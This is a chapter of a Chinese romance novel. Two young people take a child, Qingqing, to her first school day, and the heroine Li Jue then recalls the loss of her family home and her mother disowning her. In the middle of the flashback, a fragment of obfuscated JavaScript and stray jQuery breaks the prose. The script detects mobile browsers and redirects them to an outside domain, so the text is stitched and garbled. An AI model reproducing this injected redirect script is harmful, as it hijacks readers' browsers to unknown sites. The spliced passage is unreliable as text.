九月第一天，两人送庆庆开学。


    全县中小学统一就近入学，庆庆就读的小学位于垌街对面的主街区，从赵婆家走路到学校约十分钟，开学日治安戒管严，家长不得入校，离玦在公告栏找庆庆的名字，终于看见二年三班的‘陈庆’。


    “找到了，二年三班。”


    俞珵抱着庆庆在不远处等待，闻言上前，“现在去找班主任？”


    “学生进，家长不能进去，班主任都在操场举着班级牌，很好认。”离玦再一次检查庆庆的书包文具和仪容仪表，“庆庆乖，要好好读书，听老师的话，下午奶奶来接你放学。”


    “小玦姐姐，你要走了吗？”庆庆眼圈红红的。


    “嗯，姐姐明天开学，下午得回学校。”离玦抚她的发，“别哭，过年放假姐姐就回来了。”


    “要等好久才等到小玦姐姐回来。”庆庆哭着揽住她的肩，“上次家全哥哥也答应庆庆说放假回来，可过年也没有回来。”


    小孩子何尝不懂离别，离玦鼻尖泛酸，亲她脸庞，“家全哥哥要保卫祖国家园，所以才抽不出空回来，过年的时候哥哥姐姐们不是和庆庆视频了吗？”


    “可是……”


    “这样，我们拉钩，今年姐姐一定回来陪庆庆，东子哥哥还有筝儿姐姐全都回来陪庆庆过年。”


    “真的吗？”


    “姐姐什么时候骗过庆庆？”离玦伸出小拇指，“等哥哥姐姐们回来，我们一起包饺子一起放烟花。”


    小姑娘抽泣着伸出小拇指，离玦边拉钩边哄，“拉钩一百年不许变。”


    “小珵哥哥也拉钩。”


    庆庆朝他高高举起小拇指，俞珵连忙弯身配合，“庆庆乖，哥哥也回来陪庆庆过年。”


    离玦目露诧异，俞珵懂她眼神里的意思，无非是担心自己失信让庆庆失望，于是伸出另一只手，轻轻勾住她的尾指。


    “小鱼哥哥永远不骗狸猫姐姐。”


    庆庆入校，离玦和其他操心家长无异，踮起脚往校内张望，俞珵觉好笑，双手虚扶她后背，“庆庆都进教室了。”


    “庆庆有点怕生，换新环境不知道能适应不……新班主任居然是李老师，她可严格了。”


    “你还认识学校的老师，你以前也念这所小学？”


    “嗯。”离玦不看了，挤出人群，“师资好离家近，我们几个都是念这所小学。”


    俞珵抬头望向校建筑上的标语——‘教育面向现代化、面向世界、面向未来’，“三个面向，八三年，这所小学比我们大好几轮。”


    “你知道这条标语？”


    “政治书又不是白看的，你以前也穿这种校服吗？”


    “不是，那时县里还没统一校服。”离玦回忆，“我们换过好几套，最好看是二年级那套，白上衣灰校裙，女生是百褶裙，男生是过膝短裤。”


    说着离玦忽然笑了，“该怎么跟你说呢，陈家全以前穿过我的校服裙子。”


    “为什么？”


    青梅竹马就是有这样的弊端，有幸见证发小们成长路上的所有窘况，“不告诉你。”


    俞珵郁闷，“陈家全年纪再小也是男的，穿你的裙子，你不生气还……”


    话未说完俞珵猜到了什么，“一二年级的时候？”


    离玦忍笑，“嗯，东子有姐姐，家里不缺裙子。”


    “……”俞珵满脸通红，转身要走，离玦跟在他身后打趣，“你害羞什么，我又没代入你。”


    “我想揍陈家全一顿。”


    “这个想法实现起来很困难。”


    “我呼吸也很困难……不许笑！”


    “哈哈哈。”


    下午回郦市，离开前俞珵提出回离家看看。


    “如果你介意，我自己去也行。”


    “没关系，回来第一天我也去看过，没什么不能去的。”


    这几年迁出垌街的住户越来越多，当地务工人员减少，商铺与闲置房难以出租，离玦以前的家在旧巷，不靠主街也不挨路口，人流最少，离淑芬卖房后，附近两家也一同挂出售。


    如今她家房子早已拆除，杂货店变成一堆废砂石，听说新户主的重建申请出现问题，导致迟迟未能正式施工。


    微尘飞漫，地面全是砂石粒，踩在上面咯吱咯吱响，一台拌水泥机横在工地中间，房屋边沿围挂了一圈警示线，一个破旧木牌涂上红油漆字，‘不得进入工地，否则后果自负’。


    物是人非。


    离玦先想到这个词。


    “和我之前来的时候一样，没有变化。”俞珵环视工地，“高考后我来找你，没人告诉我你家转卖了，我以为你出了什么事，吓坏了。”


    离玦有些恍惚，一晃神好像回到颠沛流离的高三，漫长得望不见尽头。


    不对，漫长的不止高三那年，从她出生，她一直在流浪。


    记得离燕被送进养老院，林叔去探望，让她一同前去，她当时摇头说不。


    心里有怨，怨离燕赌博借贷，怨离燕不顾虑高三的自己，太多太多，可再多的愤懑怒怨，也不及这个家被轻易丢弃的悲怨来得深。


    后来高考结束，林叔又问她是否打算去，她还是摇头。


    人人都劝总归要探望，养恩大于天，她也知道探望不等于原谅，不过是看一眼，何必犟性子。


    然而无人懂，她不甘心、不屑、不接受这种迂回式的应付。


    九岁那年，离淑芬认识了新男人，即将领证结婚之际领着男人回到垌街，男人经商做买卖，大腹便便，很有钱，离燕好态度相待，一派和谐间，离玦打开了家门。


    谁也没料到离玦会突然出现，昨晚离燕特意拜托陈林照顾离玦，让她借宿别回家。


    “这小孩是谁？”男人横眉打量个子小小一脸凶相的离玦。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185921|173109||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“是邻居家的小孩，经常来我家小卖部讨糖吃。”离淑芬赶她走，“回你自己家去，别老想来偷吃。”


    终究是小孩，即便之前未曾见过，心里多少憧憬有着‘妈妈’头衔的离淑芬。


    结果现实给了她沉重一击，离玦明确意识到，她的母亲不认她，驱赶她，甚至不惜污蔑她。


    可分明，这就是她的家。


    希冀落空，从此生了不可修复的罅隙，只念三年级的她彻底认识‘恨’这个字，她恨极了，无法原谅。


    连同街口闲聊八卦的大人们也一起恨，若非那些人对她说‘你妈回来了，还有你后爸’，自己又怎会激动得不管不顾冲回家中？


    又怎会听不到一句句看热闹的讥笑，“带着个拖油瓶，那女人难嫁咯”、“不承认是自己生的不就得了，反正那娃没亲爹，谁生谁养哪有人认？”


    若她听见这些话还会回家吗？


    不会的，一定不会的，她一定乖乖到东子家去，听话，闭嘴，装傻。


    到手的金龟婿险些错失，离淑芬和男人离开后，离燕狠狠教训了她，骂她差点耽误离淑芬的幸福。


    这样的家庭，这样的人，说出‘幸福’这个词。


    违和、虚伪，可惜她年纪太小，不懂反驳质问离燕口中的‘幸福’是不是钱，又正因年纪太小，让她忽略了另一个事实——


    她的家，是可以为了所谓的‘幸福’，随时牺牲她。


    从一开始，她就不该出生。


    “我也吓坏了。”


    尘埃落定遥遥回首，过往成了蛀空的龋齿，深一吸气，风渗进牙缝隙，裸露的神经抽扯着酸楚，不痛，就是煎熬得难受。


    她眸色黯寂，竟不知无家可归的彷徨何时烙铸在心底，“有那么一刻真的以为，自己要完蛋。”


    亲人的爱不可奢及，她没拥有过，尚且能瞒心瞒脑欺骗自己，亲情不过是飘渺虚假的东西，无任何价值，不值一提，但房子，唯一的房子，她最后的归根落脚地，都失去了。


    “幸好熬过来了。”离玦故作轻松，“没什么大不了的。”


    不喜她的轻描淡写，俞珵看着她，“那时候，你想过找我帮忙吗？”


    “我的手机号没变，哪怕只是短短一瞬，有没有出现过联系我的念头？”


    “没有。”离玦摇头，诚实坦言，“想过很多办法，唯独你不在其中，甚至从未想过我们还会见面，一开始我就默认高一暑假的分开等同永别。”


    “看来我在你心里真的很没用。”


    “你又不是不知道，那种情况我怎么可能找你帮忙。”


    “我不是这个意思。”俞珵望着眼前的废墟，“或许连我自己也没察觉到，从很早以前，我就期望自己能成为让你依赖的存在。”


    “离玦，我想和你同行。”


    “无论过去、现在，还是未来。”


    离玦怔愣。